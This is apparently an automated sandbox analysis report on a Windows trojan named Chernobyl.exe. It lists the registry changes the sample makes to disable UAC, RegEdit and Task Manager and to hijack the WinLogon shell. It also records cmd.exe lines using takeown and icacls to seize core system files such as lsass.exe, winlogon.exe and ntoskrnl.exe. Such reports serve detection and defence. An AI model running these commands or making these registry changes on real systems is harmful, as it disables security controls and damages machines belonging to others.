Malware Analysis Report

2024-11-16 12:45

Sample ID 240302-ydf41age9v
Target Chernobyl.exe
SHA256 30acb23863a1043c7210c8fb75236fce5111bef305c6574e518e9d0e50d740cf
Tags
discovery evasion exploit persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

30acb23863a1043c7210c8fb75236fce5111bef305c6574e518e9d0e50d740cf

Threat Level: Known bad

The file Chernobyl.exe was found to be: Known bad.

Malicious Activity Summary

discovery evasion exploit persistence trojan

UAC bypass

Modifies WinLogon for persistence

Possible privilege escalation attempt

Disables RegEdit via registry modification

Disables Task Manager via registry modification

Modifies file permissions

Checks whether UAC is enabled

Modifies WinLogon

Drops file in System32 directory

Drops file in Windows directory

Unsigned PE

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies registry class

System policy modification

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-02 19:39

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-02 19:39

Reported

2024-03-02 19:40

Platform

win7-20240221-en

Max time kernel

39s

Max time network

18s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe"

Signatures

Modifies WinLogon for persistence

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, cluttscape.exe" C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A

Disables RegEdit via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A

Disables Task Manager via registry modification

evasion

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0" C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1" C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\kill.ico C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\cluttscape.exe C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A
File created C:\Windows\cluttscape.exe C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Unknown\DefaultIcon\ = "C:\\Windows\\SysWow64\\kill.ico" C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2104 wrote to memory of 320 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 320 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 320 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 320 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 320 wrote to memory of 1456 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\rundll32.exe
PID 320 wrote to memory of 1456 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\rundll32.exe
PID 320 wrote to memory of 1456 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\rundll32.exe
PID 320 wrote to memory of 1456 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\rundll32.exe
PID 320 wrote to memory of 1456 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\rundll32.exe
PID 320 wrote to memory of 1456 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\rundll32.exe
PID 320 wrote to memory of 1456 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\rundll32.exe
PID 2104 wrote to memory of 1508 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 1508 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 1508 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 1508 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 1508 wrote to memory of 1760 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 1508 wrote to memory of 1760 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 1508 wrote to memory of 1760 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 1508 wrote to memory of 1760 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2104 wrote to memory of 1692 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 1692 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 1692 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 1692 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 1692 wrote to memory of 1700 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 1692 wrote to memory of 1700 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 1692 wrote to memory of 1700 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 1692 wrote to memory of 1700 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2104 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2252 wrote to memory of 872 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2252 wrote to memory of 872 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2252 wrote to memory of 872 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2252 wrote to memory of 872 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2252 wrote to memory of 2920 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\icacls.exe
PID 2252 wrote to memory of 2920 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\icacls.exe
PID 2252 wrote to memory of 2920 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\icacls.exe
PID 2252 wrote to memory of 2920 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\icacls.exe
PID 2104 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2528 wrote to memory of 3064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2528 wrote to memory of 3064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2528 wrote to memory of 3064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2528 wrote to memory of 3064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2104 wrote to memory of 2544 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2544 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2544 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2544 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2544 wrote to memory of 2656 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2544 wrote to memory of 2656 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2544 wrote to memory of 2656 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2544 wrote to memory of 2656 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2104 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2104 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2564 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2712 wrote to memory of 2564 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2712 wrote to memory of 2564 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2712 wrote to memory of 2564 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 2104 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe C:\Windows\SysWOW64\cmd.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "0" C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\UseDefaultTile = "1" C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe

"C:\Users\Admin\AppData\Local\Temp\Chernobyl.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k start RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters && exit

C:\Windows\SysWOW64\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\smss.exe && icacls C:\Windows\System32\smss.exe /grant "%username%:F" && exit

C:\Windows\SysWOW64\takeown.exe

takeown /f C:\Windows\System32\smss.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\csrss.exe && icacls C:\Windows\System32\csrss.exe /grant "%username%:F" && exit

C:\Windows\SysWOW64\takeown.exe

takeown /f C:\Windows\System32\csrss.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\wininit.exe && icacls C:\Windows\System32\wininit.exe /grant "%username%:F" && exit

C:\Windows\SysWOW64\takeown.exe

takeown /f C:\Windows\System32\wininit.exe

C:\Windows\SysWOW64\icacls.exe

icacls C:\Windows\System32\wininit.exe /grant "Admin:F"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant "%username%:F" && exit

C:\Windows\SysWOW64\takeown.exe

takeown /f C:\Windows\System32\LogonUI.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\lsass.exe && icacls C:\Windows\System32\lsass.exe /grant "%username%:F" && exit

C:\Windows\SysWOW64\takeown.exe

takeown /f C:\Windows\System32\lsass.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\services.exe && icacls C:\Windows\System32\services.exe /grant "%username%:F" && exit

C:\Windows\SysWOW64\takeown.exe

takeown /f C:\Windows\System32\services.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\winlogon.exe && icacls C:\Windows\System32\winlogon.exe /grant "%username%:F" && exit

C:\Windows\SysWOW64\takeown.exe

takeown /f C:\Windows\System32\winlogon.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\winload.efi && icacls C:\Windows\System32\winload.efi /grant "%username%:F" && exit

C:\Windows\SysWOW64\takeown.exe

takeown /f C:\Windows\System32\winload.efi

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\winload.exe && icacls C:\Windows\System32\winload.exe /grant "%username%:F" && exit

C:\Windows\SysWOW64\takeown.exe

takeown /f C:\Windows\System32\winload.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\ntoskrnl.exe && icacls C:\Windows\System32\ntoskrnl.exe /grant "%username%:F" && exit

C:\Windows\SysWOW64\takeown.exe

takeown /f C:\Windows\System32\ntoskrnl.exe

C:\Windows\SysWOW64\icacls.exe

icacls C:\Windows\System32\ntoskrnl.exe /grant "Admin:F"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\svchost.exe && icacls C:\Windows\System32\svchost.exe /grant "%username%:F" && exit

C:\Windows\SysWOW64\takeown.exe

takeown /f C:\Windows\System32\svchost.exe

C:\Windows\SysWOW64\icacls.exe

icacls C:\Windows\System32\svchost.exe /grant "Admin:F"

Network

N/A

Files

memory/2104-0-0x00000000012C0000-0x000000000131A000-memory.dmp

memory/2104-1-0x0000000073E10000-0x00000000744FE000-memory.dmp

C:\Users\Admin\Desktop\—↕óÂ∩ïé☺¤Σ≈Ç—Σ▼■¼ñ¢▼■²█ó╠╔▌ž5£♣☼↕řσ▲¶▼Σ²9®Âπ◘šŸßä≈♫íí╬♫◙▼☼í¾╧♂¾◙¢≈¾å™◙╚╔≈¬¢®ïπ☻♪æ♥πœŸ▌åÇ◘₧—↕≈ž86☺¥éč

MD5 9e1e5883c74742a497cf5c272ccd2321
SHA1 2cf33e34d08b8e17743a60352baffef4b6f02dee
SHA256 ca687b6a7c3d29b566f3e1988b9f877b51d9a83ee25ffe0755a8dcd3eb5f434a
SHA512 f2284f0c624cc07a65c16f87865bb98aaa176b1d8b45cd4fbcc1143c9c2297fe6b1d4db55ef054be2bc151c8cc25ff4da7c997b7d38dae3dccd2ffe1c3c01a6b

memory/2104-306-0x0000000000A70000-0x0000000000AB0000-memory.dmp

memory/2104-307-0x0000000073E10000-0x00000000744FE000-memory.dmp

memory/2104-308-0x0000000000A70000-0x0000000000AB0000-memory.dmp